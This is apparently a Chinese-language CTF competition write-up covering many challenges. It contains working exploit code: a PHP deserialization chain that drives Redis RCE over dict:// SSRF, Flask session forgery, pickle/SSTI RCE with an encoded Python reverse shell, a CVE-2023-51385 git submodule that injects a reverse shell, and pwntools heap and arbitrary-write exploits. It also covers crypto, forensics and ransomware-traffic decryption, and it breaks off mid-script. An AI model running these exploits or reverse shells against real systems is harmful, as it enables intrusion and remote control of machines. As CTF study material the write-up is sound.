赞
踩
反序列化打redis主从复制RCE:https://www.cnblogs.com/xiaozi/p/13089906.html
<?php class Rd { public $ending; public $cl; public $poc; public function __destruct(){ // echo "All matters have concluded"."</br>"; } public function __call($name, $arg){ foreach ($arg as $key => $value) { if ($arg[0]['POC'] == "0.o") { $this->cl->var1 = "get"; } } } } class Poc { public $payload; public $fun; public function __set($name, $value){ $this->payload = $name; $this->fun = $value; } function getflag($paylaod){ echo "Have you genuinely accomplished what you set out to do?"."</br>"; file_get_contents($paylaod); } } class Er { public $symbol; public $Flag; public function __construct(){ $this->symbol = True; } public function __set($name, $value){ if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){ $value($this->Flag); } else { echo "NoNoNo,please you can look hint.php"."</br>"; } } } class Ha { public $start; public $start1; public $start2; public function __construct(){ // echo $this->start1 . "__construct" . "</br>"; } public function __destruct(){ if ($this->start2 === "o.0") { $this->start1->Love($this->start); // echo "You are Good!"."</br>"; } } } function get($url) { // $url=base64_decode($url); // var_dump($url); // $ch = curl_init(); // curl_setopt($ch, CURLOPT_URL, $url); // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // curl_setopt($ch, CURLOPT_HEADER, 0); // $output = curl_exec($ch); // $result_info = curl_getinfo($ch); // var_dump($result_info); // curl_close($ch); // var_dump($output); } // Ha::__destruct() -> Rd::__call() -> Er::__set() -> get() // payload 按顺序发,公网上建好evil redis-server // $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp"; // $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so"; // $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777"; // $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so"; // $payload = "dict://127.0.0.1:6379/slave:no:one"; $payload = "dict://127.0.0.1:6379/system.exec:env"; $Er = new Er(); $Er -> Flag = base64_encode($payload); $Rd = new Rd(); $Rd -> cl = $Er; $Ha = new Ha(); $Ha -> start = ['POC'=>'0.o']; $Ha -> start1 = $Rd; $Ha -> start2 = 'o.0'; echo(serialize($Ha)); ?>

题目模仿了php后缀,骗人传php上去,以为能解析,结果不能,打下来才发现是python
先正常的登录和注册,注册成功后,上传完成之后回回显一个路径:**/pic.php?pic=**
测试发现能够进行文件读取 测试双写…/ 发现是能够路径穿越的,在/app/app.py下发现了文件源码
/pic.php?pic=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././app/app.py

import os import pickle import base64 import hashlib from flask import Flask,request,session,render_template,redirect from Users import Users from waf import waf users=Users() app=Flask(__name__) app.template_folder="./" app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest() @app.route('/',methods=['GET','POST']) @app.route('/index.php',methods=['GET','POST']) def index(): if not session or not session.get('username'): return redirect("login.php") if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])): filepath=os.path.join("./uploads",filename) request.files['file'].save(filepath) return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>." return render_template("index.html") @app.route('/login.php',methods=['GET','POST']) def login(): if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')): if type(username)==str and type(password)==str and users.login(username,password): session['username']=username return "Login success! <a href='/'>Click here to redirect.</a>" else: return "Login fail!" return render_template("login.html") @app.route('/register.php',methods=['GET','POST']) def register(): if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')): if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password): str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users) return str1 else: return "Register fail!" return render_template("register.html") @app.route('/pic.php',methods=['GET','POST']) def pic(): if not session or not session.get('username'): return redirect("login.php") if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")): if session.get('username')=="admin": return pickle.load(open(filepath,"rb")) else: return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">''' res="<h1>files in ./uploads/</h1><br>" for f in os.listdir("./uploads"): res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
理清楚逻辑后发现在注册路由处存在有一个格式化的漏洞 会进行两边format

username可控,我们可以通过此处 把secret_key获取到
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
Burp发送
POST /register.php HTTP/1.1 Host: eci-2zeeg9ho73gvfpqkxn8o.cloudeci1.ichunqiu.com:80 Content-Length: 42 Cache-Control: max-age=0 Origin: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com DNT: 1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com/register.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1699615725; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O Connection: close username={users.passwords}&password=123456
即可暴露出admin的password

拿到之后就可以利用他来进行 session的构造
pip3 install flask_unsign
$$ flask-unsign --sign --cookie '{"username":"admin"}' --secret 294f3d30bab18f91f5cfe2e23881f5eb
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZawBeQ.i4Iamt9-7GO5T0vQ0T4G_ZVngDE
此时我们的身份就是admin ,在回到上面的源码;此处存在pickle 反序列化漏洞,但需要admin

构造payload waf限制的太多,直接上传模板,反序列化触发模板 RCE
反序列化 payload
def dumps(filename):
class Exploit(object):
def __reduce__(self):
return (render_template, (f"uploads/{filename}", ))
a = Exploit()
b = pickle.dumps(a)
print(len(b))
print((b))
with open('uploads/test.pkl','wb') as f:
f.write(b)
之后在上传触发
def req(url,payload,filename): print("payload:",len(payload)) with open(f"uploads/{filename}", 'w') as file: file.write(payload) files = {'file': (filename, open(f"uploads/{filename}", 'rb'))} response1 = requests.post(url, headers=headers, files=files) # print(response.text) files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))} response = requests.post(url, headers=headers, files=files) # print(response.text) pickle_loads_url = url+"/pic.php?pic=test.pkl" response3 = requests.get(pickle_loads_url,headers=headers) print(response3.text) pickle_loads_url = url+"/pic.php?pic=test.pkl" response3 = requests.get(pickle_loads_url,headers=headers) print(response3.text)
import random import pickle from flask import render_template import requests headers = { 'Cookie': "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Zav8jw.dVtToaA7T1_MHQZTyr9s5LI8fGI" } def dumps(filename): class Exploit(object): def __reduce__(self): return (render_template, (f"uploads/{filename}", )) a = Exploit() b = pickle.dumps(a) print(len(b)) print((b)) with open('uploads/test.pkl','wb') as f: f.write(b) def req(url,payload,filename): print("payload:",len(payload)) with open(f"uploads/{filename}", 'w') as file: file.write(payload) files = {'file': (filename, open(f"uploads/{filename}", 'rb'))} response1 = requests.post(url, headers=headers, files=files) # print(response.text) files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))} response = requests.post(url, headers=headers, files=files) # print(response.text) pickle_loads_url = url+"/pic.php?pic=test.pkl" response3 = requests.get(pickle_loads_url,headers=headers) print(response3.text) pickle_loads_url = url+"/pic.php?pic=test.pkl" response3 = requests.get(pickle_loads_url,headers=headers) print(response3.text) def rev_shell(ip,port): rev = "L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEuMS4xLjEiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn" import base64 command = base64.b64encode(base64.b64decode(rev).replace(b"1.1.1.1",ip).replace(b'9999',port)).decode() rev_command = f"&a=echo {command}|base64 -d|bash" pickle_loads_url = url + "/pic.php?pic=test.pkl" print(pickle_loads_url) rev_r = requests.get(url=pickle_loads_url+rev_command,headers=headers) if rev_r.status_code == 200: print(rev_r.url) print("rev shell ") if __name__ == "__main__": ip = b"1.1.1.1" port = b"9999" url = "http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/" payload = [ '{%set x=config.update(a=g.__class__.__mro__[1].__subclasses__())%}', '{%set x=config.update(q=config.a[360])%}', '{{config.q(request.args.a,shell=1)}}' ] for p in payload: filename = str(random.randint(1, 1000)) dumps(filename) req(url,p,filename) # rev_shell(ip,port)
触发之后就会生成一个可以执行任意命令但是无回显的页面
带上admin cookie 访问 即可获得一个反弹shell
http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/pic.php?pic=test.pkl&a=echo%20L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3NS4xNzguNzMuMTQxIiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==|base64%20-d|bash
获取shell之后 在/app目录下有一个clear.sh的脚本每10分钟以root身份执行一次 普通用户可写
脚本内容 替换为chmod 777 /flag,等待修改权限即可读取flag
图片末尾附加了ZIP压缩包,解压下去得到

很明显应该先把这些用户名中间的数据提取出来按照用户名顺序拼接起来,像是base64,但是base64的填充符号没有-,只有+、/,+这里有了,根据提示猜测把-替换成/,得到的解码是zip数据
import zipfile import re import base64 with zipfile.ZipFile("C:\\Users\Administrator\\Downloads\\外卖箱.zip", 'r') as zf: fileNameList = zf.namelist() infoDict = {} for fileName in fileNameList: matchedData = re.findall(r'\d{1,}_[a-zA-Z0-9-+=\/]{4}', fileName) if matchedData != []: infoDict[matchedData[0][0:matchedData[0].find('_')]] = matchedData[0][matchedData[0].find('_')+1:] content = '' for idx in range(2, 10898+1): content += infoDict[str(idx)] with open('C:\\Users\Administrator\\Downloads\\data.zip', 'wb') as f: f.write(base64.b64decode(content.replace('-', '/')))
根据提示这里应该补全zip的文件头

解压出来很明显这里应该是明文攻击了,这里得到第一部分flag

直接ARCHPR跑明文攻击即可,根据这个钥匙.png的描述,应该使用Bandzip进行压缩


解压得到第二部分flag
flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}
CVE-2023-51385
gitee一搜一大堆大家刚fork的仓库,直接选一个搭一个顺风车
https://gitee.com/rtpyzaL/CVE-2023-51385_test
执行python脚本 获取shell
[submodule "cve"]
path = cve
url = ssh://`python 1.py`foo.ichunqiu.com/bar
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

明文攻击

这个LICENSE.txt直接网上找相同大小的

下载LICENSE.txt但是压缩之后发现CRC和题目给的不一样,猜测题目跟这些的还是有不同,不过没关系,不需要那么多的明文,直接用第一行的明文就够了,bkcrack直接爆破得到密钥,然后爆破密码

得到压缩包密码:R05VIEdQTHYz
将混淆的内容直接一步一步执行输出下去就行

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
// var_dump($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";
var_dump('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
var_dump(gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA==')));
?>

flag{s1mpL3_z1p_@nd_w365heLl!!!}
校验函数的seed, 本地跟着跑一个就行了,modify里面没做范围限制,基本是任意写,然后输出, leak出libc后 ogg一把梭就是, 不过没有直接能用的ogg, 把rbp最后弄到bss上就可以了
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int i; // [rsp+1Ch] [rbp-3C4h] char v6[960]; // [rsp+20h] [rbp-3C0h] BYREF init(argc, argv, envp); info(); v3 = time(0LL); srand(v3); memset(pss, 0, sizeof(pss)); for ( i = 0; i <= 0; ++i ) pss[i] = characters[rand() % 62]; printf("input password: "); __isoc99_scanf("%[^\n]", &ipt); check(&ipt, pss, &ch1, valid, v6); return 0; } ----------------------------------------------------------------------- unsigned __int64 __fastcall modify(__int64 a1) { char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); do { puts("## select the idx you want modify ##"); __isoc99_scanf("%d", &n); printf("gender: "); read(0, (void *)(120LL * n + a1), 0x20uLL); printf("age: "); __isoc99_scanf("%lld", 120LL * n + a1 + 32); printf("name: "); read(0, (void *)(120LL * n + a1 + 40), 0x40uLL); printf( "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n", (unsigned int)n, (const char *)(120LL * n + a1 + 40), *(_QWORD *)(120LL * n + a1 + 32), (const char *)(120LL * n + a1)); puts("quit now?(Y/y)"); read(0, buf, 3uLL); } while ( buf[0] != 121 && buf[0] != 89 ); return v3 - __readfsqword(0x28u); }
exp整体略乱
from pwn import * from LibcSearcher import * import sys from ctypes import * context(arch = 'amd64', os = 'linux', log_level = 'info') #info path = "./nmanager" p = process(path) #p = remote('8.147.131.156', 45025) elf = ELF(path) libc = cdll.LoadLibrary("./libc.so.6") def g(): gdb.attach(p) raw_input() sl = lambda arg : p.sendline(arg) sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2) sd = lambda arg : p.send(arg) ru = lambda arg : p.recvuntil(arg) rl = lambda : p.recvline() rv = lambda arg : p.recv(arg) sa = lambda arg1, arg2 : p.sendafter(arg1, arg2) inv = lambda : p.interactive() ch = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" seed = libc.time(0) libc.srand(seed) value = int.to_bytes(ch[libc.rand() % 62], 1, 'little') ru(b'input password: ') sl(value) bss = 0x404000 + 0x600 res = rl() if b'pass' in res: onegadget = [0xebcf1, 0xebcf5, 0xebcf8] sl(b'8') sla(b'der: ', b'BBBBBBB') sla(b'age: ', str(0x20).encode()) sla(b'name: ', b'AAAAAAA') ru(b'BBBBBBB') res = rl() libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x29d90 log.success('libc_base = ' + hex(libc_base)) sla(b'quit now?', b'N') ogg = libc_base + onegadget[0] log.success("ogg = " + hex(ogg)) sl(b'8') #g() sla(b'der: ', p64(bss) + p64(ogg)) sla(b'age: ', str(0x20).encode()) sla(b'name: ', b'AAAAAAA') sla(b'quit now?', b'Y') inv() p.close()
经典菜单题, delete功能存在UAF, 而且show 与 edit都没有对应的检查, 没有对申请的大小做限制, 直接house of apple 这些基本都能直接给过,我这里是用我之前写的函数,懒得再过一遍了
//漏洞点 void delete() { unsigned int v0; // [rsp+4h] [rbp-Ch] printf("Index:"); v0 = my_read(); free(*((void **)&heap + v0)); } int show() { unsigned int v1; // [rsp+4h] [rbp-Ch] printf("Index:"); v1 = my_read(); return puts(*((const char **)&heap + v1)); } char *edit() { int v1; // [rsp+4h] [rbp-Ch] printf("Index:"); v1 = my_read(); printf("content: "); return fgets(*((char **)&heap + v1), chunk[v1], stdin); }
好像存在概率问题, 本地没概率,远程怪怪的, 不过最后加个cat flag基本上就全能命中了
from pwn import * from LibcSearcher import * context(arch = 'amd64', os = 'linux', log_level = 'info') #info path = "./book" #p = process(path) p = remote("8.147.131.183", 13743) elf = ELF(path) libc = elf.libc def g(): gdb.attach(p) raw_input() sl = lambda arg : p.sendline(arg) sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2) sd = lambda arg : p.send(arg) ru = lambda arg : p.recvuntil(arg) rl = lambda : p.recvline() rv = lambda arg : p.recv(arg) sa = lambda arg1, arg2 : p.sendafter(arg1, arg2) inv = lambda : p.interactive() def house_of_cat(heap_addr, vtables,first_exec=0, dif=0, rbp=0): if dif == 0: payload = p64(0) * 3 #_IO_stderr_2_1 && _wide_data payload += p64(1) + p64(2) # fp->_wide_data->_IO_write_base < fp->_wide_data->_IO_write_ptr else: payload = p64(0) + p64(1) + p64(2) payload = payload.ljust(0x38 - dif, b'\x00') + p64(heap_addr + 0x40) #springboard payload = payload.ljust(0x48 - dif, b'\x00') + p64(rbp) #_IO_save_base --> rbp payload += p64(0) * 4 payload = payload.ljust(0xa0 - dif, b'\x00') + p64(heap_addr) #it -> _wide_data_ payload = payload.ljust(0xc0 - dif, b'\x00') + p64(1) #fp->_mode payload = payload.ljust(0xd8 - dif, b'\x00') + p64(vtables) #fp->vtables payload += p64(heap_addr + 0xe0) #springboard payload = payload.ljust(0xf8 - dif, b'\x00') + p64(first_exec) #target call_addr return payload def choice(num): ru(b'> ') sl(str(num).encode()) def add(index, size): choice(1) ru(b'Index:') sl(str(index).encode()) ru(b'what size :') sl(str(size).encode()) def free(index): choice(2) ru(b'Index:') sl(str(index).encode()) def show(index): choice(3) ru(b'Index:') sl(str(index).encode()) def edit(index, content): choice(4) ru(b'Index:') sl(str(index).encode()) ru(b'content: ') sl(content) add(11, 0x20) add(12, 0x20) free(11) free(12) show(11) a = int.from_bytes(p.recv(5), 'little') show(12) b = int.from_bytes(p.recv(6), 'little') heap_base = (a ^ b) - 0x2a0 log.success("heap_base = " + hex(heap_base)) add(0, 0x30) add(1, 0x450) add(2, 0x30) add(3, 0x440) add(4, 0x30) free(1) show(1) libc.address = libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x219ce0 log.success("libc_base = " + hex(libc_base)) _IO_list_all = libc_base + 0x21a680 vtables = libc_base + 0x2160c0 + 0x30 add(5, 0x480) free(3) pay1 = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x330) + p64(_IO_list_all - 0x20) edit(1, pay1) add(6, 0x480) pop_rsi = next(libc.search(asm("pop rsi; ret"))) pop_rdx = libc_base + 0x00000000000796a2 pop_rbp = libc_base + 0x000000000002a2e0 pop_r12_r13_r14_r15 = next(libc.search(asm("pop r12; pop r13; pop r14; pop r15; ret"))) leave_ret = next(libc.search(asm("leave; ret"))) ogg = libc_base + 0xebc88 ans = p64(0) + p64(pop_r12_r13_r14_r15) + p64(0) + p64(heap_base + 0x1100) + p64(leave_ret) * 2 ans += p64(pop_rdx) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rbp) + p64(heap_base + 0x100) + p64(ogg) edit(6, ans) magicgadget = libc_base + 0x000000000016a25a payload = house_of_cat(heap_base + 0x7d0, vtables, magicgadget, 0x10, heap_base + 0x1100) edit(3, payload) #g() choice(5) sl(b'cat flag') inv()
脱壳不能工具直接脱, 修改了特征,用010将里面的upx改成UPX就能直接脱壳了, 里面用的是一个随机数,但是随机数这玩意就是伪随机的, 所以主要是那个seed, time(NULL),所以得获取当时的时间, 看PE里面有文件生成的时间,基本就这个时间前了,加密函数change,每隔3个拿一个,然后每2个拿一个, 最后隔1个拿一个, 就是一个映射基本上, 每次变换过去的位置都一样, 提示是有flag{}包裹的, 所以对比flag{}之后的位置, 把seed跑出来就行了
unsigned int b = 1685762996; for (int j = 0; j < b + 0x1000; j++) { srand(j); c = rand() % 255; if (c != 0x6f) continue; c = rand() % 255; if (c != 0x18) continue; for (int k = 0; k < 9; k++) rand(); c = rand() % 255; if (c != 0xaa) continue; c = rand() % 255; if (c != 0x2) continue; for (int k = 0; k < 18; k++) rand(); c = rand() % 255; if (c != 0x80) continue; c = rand() % 255; if (c == 0x9b) { printf("%ld, ", j); } }
这里最后有结果的就是1682145110, 异或输出一下基本就能看到就是flag
unsigned char data[42] = {
0x09, 0x63, 0xD9, 0xF6, 0x58, 0xDD, 0x3F, 0x4C, 0x0F, 0x0B, 0x98, 0xC6, 0x65, 0x21, 0x41, 0xED,
0xC4, 0x0B, 0x3A, 0x7B, 0xE5, 0x75, 0x5D, 0xA9, 0x31, 0x41, 0xD7, 0x52, 0x6C, 0x0A, 0xFA, 0xFD,
0xFA, 0x84, 0xDB, 0x89, 0xCD, 0x7E, 0x27, 0x85, 0x13, 0x08
};
srand(1682145110);
for (int i = 0; i < 42; i++) {
c = rand() % 255;
printf("%c", data[i] ^ c);
}
//f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191
因为最后也就是一个映射, 这里随便扔一组全不一样的进去,然后经过对比得到映射表,跟着表输出就是
char res[] = "f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191";
char s1[] = "flag{1234567890QWERTYUIOPASDFGHJKLZXCVBNM}";
char r1[] = "f{48WYPFKCMlg13579QETUOADGJLXVN}a260RISHZB";
for (int i = 0; i < 42; i++) {
for (int j = 0; j < 42; j++) {
if (s1[i] == r1[j]) {
printf("%c", res[j]);
}
}
}
//flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}
import gmpy2 import initialize from Crypto.Util.number import * n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101 r = 0x4f37fe985d13ffde9867fa0063f68dea79196408b1404eadf03ea59297d629c2183a4a6a6647b6c4c99dd43bae8c4fa4691a608d20170fd42b18aef7efb3ae01cd3 q = gmpy2.gcd(n,r) p = n // q phi0 = (p - 1) * (q - 1) # parameters = initialize.initialize(p, q) # wild_phi = parameters[0] # wild_e = parameters[1] trained_phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0 trained_e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69 c1 = 0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee c2 = 0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af print(trained_phi == phi0) d = gmpy2.invert(trained_e,trained_phi) m1 = pow(c1,d,n) m2 = pow(c2,d,n) flag = b"flag{" + long_to_bytes(m1) + long_to_bytes(m2) + b".}" print(flag)
经典的蚁剑流量,tcp.stream eq 41有一个docx但是没什么内容,没有找到flag


tcp.stream eq 48发现s3creT.txt

tcp.stream eq 49发现脚本

import socket from Crypto.Cipher import ARC4 import base64 import os import json import hashlib def calculate_md5(string): md5_hash = hashlib.md5() md5_hash.update(string.encode('utf-8')) md5_hex = md5_hash.hexdigest() return md5_hex from Crypto.Cipher import ARC4 import base64 import json with open("./s3creT.txt", "r") as f: key = f.read() key = calculate_md5(key) def rc4_encrypt(data, key1): key = bytes(key1, encoding='utf-8') enc = ARC4.new(key) res = enc.encrypt(data.encode('utf-8')) res = base64.b64encode(res) res = str(res, 'utf-8') return res def rc4_decrypt(data, key1): data = base64.b64decode(data) key = bytes(key1, encoding='utf-8') enc = ARC4.new(key) res = enc.decrypt(data) res = str(res, 'gbk', errors='ignore') return res def t1(data): import re from datetime import datetime, timedelta current_time = datetime.now() target_time = current_time.replace(second=0, microsecond=0) timestamp = int(target_time.timestamp()) key1 = hex(timestamp)[2:].zfill(8) key1 = re.findall(r'.{2}', key1) key1 = [int(i, 16) for i in key1] data = list(data) for i in range(len(data)): data[i] = chr(ord(data[i]) ^ key1[i % 4]) data = ''.join(data) return data def decrypt(data, key): data = t1(data) data = rc4_decrypt(data, key) return data def encrypt(data, key): data = rc4_encrypt(data, key) data = t1(data) return data def system(cmd): res = os.popen(cmd).read() return res if res else "NoneResult" def main(): ip = '192.168.31.42' port = 8899 socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) socket_server.bind((ip, port)) socket_server.listen(1) while True: conn, addr = socket_server.accept() with conn: print("connect::", addr) try: while True: data = conn.recv(102400) # print("server recevie peername and data:", conn.getpeername(), data.decode()) if data: data = data.decode() data = decrypt(data, key) data = json.loads(data) if data["opcode"] == "shell": print("shellCMD::", data["msg"]) res = system(data["msg"]) print("res::", res) conn.sendall(encrypt(res, key).encode()) else: break except ConnectionResetError as e: print("远程连接æ–å¼€") if __name__ == '__main__': main()
通信端口和通信IP都有了,直接过滤即可,根据提示使用这个Epoch Time作为解密时的时间戳。
但是这个后面在tcp.stream eq 58发现又传了一遍这个脚本,这有点可疑。

和之前的对比发现修改了端口

ip.src==192.168.31.42 and tcp.srcport==9999 and data

直接修改脚本进行解密,把时间戳填进去
import socket from Crypto.Cipher import ARC4 import base64 import os import json import hashlib def calculate_md5(string): md5_hash = hashlib.md5() md5_hash.update(string.encode('utf-8')) md5_hex = md5_hash.hexdigest() return md5_hex from Crypto.Cipher import ARC4 import base64 import json # with open("./s3creT.txt", "r") as f: # key = f.read() key = "R@ns0mwar3_V1ru5" key = calculate_md5(key) def rc4_encrypt(data, key1): key = bytes(key1, encoding='utf-8') enc = ARC4.new(key) res = enc.encrypt(data.encode('utf-8')) res = base64.b64encode(res) res = str(res, 'utf-8') return res def rc4_decrypt(data, key1): data = base64.b64decode(data) key = bytes(key1, encoding='utf-8') enc = ARC4.new(key) res = enc.decrypt(data) res = str(res, 'gbk', errors='ignore') return res def t1(data, timestamp): import re from datetime import datetime, timedelta # current_time = datetime.now() current_time = datetime.fromtimestamp(timestamp) target_time = current_time.replace(second=0, microsecond=0) timestamp = int(target_time.timestamp()) key1 = hex(timestamp)[2:].zfill(8) key1 = re.findall(r'.{2}', key1) key1 = [int(i, 16) for i in key1] data = list(data) for i in range(len(data)): data[i] = chr(ord(data[i]) ^ key1[i % 4]) data = ''.join(data) return data def decrypt(data, key, timestamp): data = t1(data, timestamp) data = rc4_decrypt(data, key) return data def encrypt(data, key): data = rc4_encrypt(data, key) data = t1(data) return data def system(cmd): res = os.popen(cmd).read() return res if res else "NoneResult" def main(): # ip = '192.168.31.42' # port = 8899 # socket_server = socket.socket(family=socket.AF_INET, 